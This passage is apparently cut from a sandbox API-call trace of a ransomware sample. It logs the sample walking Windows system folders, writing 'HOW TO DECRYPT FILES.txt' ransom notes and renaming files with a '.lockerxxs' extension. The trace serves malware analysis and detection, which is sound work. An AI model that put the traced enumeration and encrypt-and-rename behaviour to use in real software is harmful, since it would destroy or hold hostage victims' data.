ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.436] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.436] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.436] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.436] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.436] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc74966, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbdc74966, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa47db027, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.tlb", cAlternateFileName="SYSTEM~1.TLB")) returned 1 [0165.436] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.436] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.tlb") returned -1 [0165.436] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.tlb") returned -1 [0165.436] lstrcmpiA (lpString1="", lpString2="System.Web.tlb") returned -1 [0165.436] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\*.*") returned="*.*" [0165.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\" [0165.436] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\") returned="" [0165.436] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\HOW TO DECRYPT FILES.txt" [0165.436] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\how to decrypt files.txt")) returned 0xffffffff [0165.436] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.437] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.437] CloseHandle (hObject=0xffffffff) returned 0 [0165.437] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\", lpString2="System.Web.tlb" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\System.Web.tlb") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\System.Web.tlb" [0165.437] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\System.Web.tlb", pszSpec="*.ems") returned 0 [0165.437] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc74966, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbdc74966, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa47db027, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.tlb", cAlternateFileName="SYSTEM~1.TLB")) returned 0 [0165.437] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.437] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f", cAlternateFileName="AME860~1.163")) returned 1 [0165.437] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f") returned -1 [0165.437] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f") returned -1 [0165.438] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.438] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f" [0165.438] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.438] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.438] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.438] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4571a7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4571a7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa558adef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x27d3, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UninstallPersistSqlState.sql", cAlternateFileName="UNINST~1.SQL")) returned 1 [0165.438] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallPersistSqlState.sql") returned -1 [0165.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallPersistSqlState.sql") returned -1 [0165.439] lstrcmpiA (lpString1="", lpString2="UninstallPersistSqlState.sql") returned -1 [0165.439] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\*.*") returned="*.*" [0165.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\" [0165.439] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\") returned="" [0165.439] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\HOW TO DECRYPT FILES.txt" [0165.439] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\how to decrypt files.txt")) returned 0xffffffff [0165.439] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.439] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.439] CloseHandle (hObject=0xffffffff) returned 0 [0165.439] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\", lpString2="UninstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" [0165.439] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql", pszSpec="*.ems") returned 0 [0165.440] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" [0165.440] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" [0165.440] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql." [0165.440] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql.lockerxxs" [0165.440] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallpersistsql_b03f5f7f11d50a3a_6.1.7600.16385_none_6b4402829272a89f\\uninstallpersistsqlstate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.440] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4571a7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4571a7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa558adef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x27d3, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UninstallPersistSqlState.sql", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.440] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0x4065a5, cFileName="amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e", cAlternateFileName="AM1E6D~1.163")) returned 1 [0165.440] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e") returned -1 [0165.440] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e") returned -1 [0165.440] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.440] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e" [0165.441] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.441] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.441] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.441] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.441] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.441] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe515878, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe515878, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa56494c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e15, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UninstallSqlStateTemplate.sql", cAlternateFileName="UNINST~1.SQL")) returned 1 [0165.441] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0165.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0165.442] lstrcmpiA (lpString1="", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0165.442] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\*.*") returned="*.*" [0165.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\" [0165.442] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\") returned="" [0165.442] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\HOW TO DECRYPT FILES.txt" [0165.442] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\how to decrypt files.txt")) returned 0xffffffff [0165.442] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.442] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.442] CloseHandle (hObject=0xffffffff) returned 0 [0165.442] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\", lpString2="UninstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" [0165.442] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql", pszSpec="*.ems") returned 0 [0165.443] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" [0165.443] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" [0165.443] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql." [0165.443] lstrcatA (in: 